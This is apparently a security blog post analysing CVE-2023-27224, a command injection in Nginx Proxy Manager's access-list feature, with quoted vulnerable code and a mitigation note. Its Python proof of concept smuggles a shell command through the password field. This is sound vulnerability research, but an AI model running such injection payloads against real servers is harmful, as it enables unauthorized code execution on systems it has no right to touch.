CVE-2023-27224 (NginxProxyManager)

2025. 2. 5. 14:17·💻 Security

[ Info ]

  • Target : Nginx Proxy Manager
  • Version : 2.9.19
  • Category : Arbitrary Code Execution

    [ Build ]

    docker run -p 8080:80 -p 8081:81 jc21/nginx-proxy-manager:2.9.19

[ Product Overview ]

Nginx Proxy Manager which is based on NodeJS, is a open-source tool to simplify the management of Nginx's proxy, SSL, Access lists, and more. It lets user manage, control their site easier. For example, it provide the feature of controlling ACL with admin console, so user can easily create blacklist or whitelist by using UI.

[ Vulnerable Summary ]

Aribitrary Code Execution via Access list feature in Nginx Proxy Manager <= 2.9.19

[ Vulnerability Details ]

The vulnerability is in backend/internal/access-list.js which manages Access List.


A user can define IPs to allow or deny, and define about authorization.

// backend/lib/utils.js
const exec = require('child_process').exec;

module.exports = {

    /**
     * @param   {String} cmd
     * @returns {Promise}
     */
    exec: function (cmd) {
        return new Promise((resolve, reject) => {
            exec(cmd, function (err, stdout, /*stderr*/) {
                if (err && typeof err === 'object') {
                    reject(err);
                } else {
                    resolve(stdout.trim());
                }
            });
        });
    }
};

Nginx Proxy Manager defines a module that uses child_process in the backend/lib/utils.js. The problem is that the cmd parameter lacks any sanitization. And this module is used in backend/internal/access-list.js .

// backend/internal/access-list.js
const utils = require('../lib/utils');
            ...

    /**
     * @param   {Object}  list
     * @param   {Integer} list.id
     * @param   {String}  list.name
     * @param   {Array}   list.items
     * @returns {Promise}
     */
    build: (list) => {
        logger.info('Building Access file #' + list.id + ' for: ' + list.name);

        return new Promise((resolve, reject) => {
            let htpasswd_file = internalAccessList.getFilename(list);

            // 1. remove any existing access file
            try {
                fs.unlinkSync(htpasswd_file);
            } catch (err) {
                // do nothing
            }

            // 2. create empty access file
            try {
                fs.writeFileSync(htpasswd_file, '', {encoding: 'utf8'});
                resolve(htpasswd_file);
            } catch (err) {
                reject(err);
            }
        })
            .then((htpasswd_file) => {
                // 3. generate password for each user
                if (list.items.length) {
                    return new Promise((resolve, reject) => {
                        batchflow(list.items).sequential()
                            .each((i, item, next) => {
                                if (typeof item.password !== 'undefined' && item.password.length) {
                                    logger.info('Adding: ' + item.username);

                                    // ⬇ Vulnerable Code
                                    utils.exec('/usr/bin/htpasswd -b "' + htpasswd_file + '" "' + item.username + '" "' + item.password + '"')
                                        .then((/*result*/) => {
                                            next();
                                        })
                                        .catch((err) => {
                                            logger.error(err);
                                            next(err);
                                        });
                                }
                            })
                            .error((err) => {
                                logger.error(err);
                                reject(err);
                            })
                            .end((results) => {
                                logger.success('Built Access file #' + list.id + ' for: ' + list.name);
                                resolve(results);
                            });
                    });
                }
            });
    }
};

The build: (list) function calls utils.exec() when Nginx Proxy Manager creates or updates Access List. If attacker abuse this feature, command injection can allow arbitrary code execution, going against the original purpose of the code.

[ Exploit Conditions ]

The vulnerability can be exploited by an authenticated attacker who has permissions of making Access List.

[ Proof-of-Concept ]

import requests

#payload = input("Enter the payload: ")
payload = '"; id > /tmp/pwned.txt; echo "'

url = "http://localhost:12001/api/nginx/access-lists"
header = {"Authorization": "[Admin Token]"} # Modify Here

data = {"name":"Test","satisfy_any":False,"pass_auth":False,"items":[{"username":"Test_username","password":f"Test_password{payload}"}],"clients":[{"address":"1.2.3.4","directive":"allow"}]}

res = requests.post(url, headers=header, json=data)

print(res.status_code)

[ Mitigation ]

The code was modified to ensure that user input is passed as an array instead of being directly executed as part of the command. This change makes malicious commands get interpreted as regular strings. In practice, if a malicious command is injected, a 403 error is returned.

저작자표시 비영리 변경금지 (새창열림)
'💻 Security' 카테고리의 다른 글
  • CVE-2024-4367 (PDF.js - Arbitrary JS Execution)
  • Directory Traversal via ".tar" file
  • Apache OFBIZ Vulnerability (CVE-2023-49070)
  • [ CVE-2022-1582 ] Wordpress External Links in New Window Analysis
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    Remote Code Execution
    GPNCTF
    justCTF
    cache
    bug report
    pwntools
    cache poisoning
    RCE
    sqli
    python
    Ubuntu 기초 셋팅
    Ubuntu 기초
    Text Summarization
    TsukuCTF2022
    TFCCTF2022
    bug hunter
    Machine Learning
    ubuntu 명령어
    Deep learning
    Crypto
  • 최근 댓글

  • 최근 글

Cronus
CVE-2023-27224 (NginxProxyManager)
상단으로

티스토리툴바